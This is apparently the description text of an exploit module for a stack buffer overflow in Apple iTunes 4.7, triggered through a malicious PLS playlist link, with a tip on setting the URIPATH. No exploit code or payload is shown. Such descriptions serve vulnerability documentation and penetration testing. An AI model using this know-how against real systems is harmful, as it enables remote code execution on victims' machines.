          This module exploits a stack buffer overflow in Apple ITunes 4.7
        build 4.7.0.42. By creating a URL link to a malicious PLS
        file, a remote attacker could overflow a buffer and execute
        arbitrary code. When using this module, be sure to set the
        URIPATH with an extension of '.pls'.
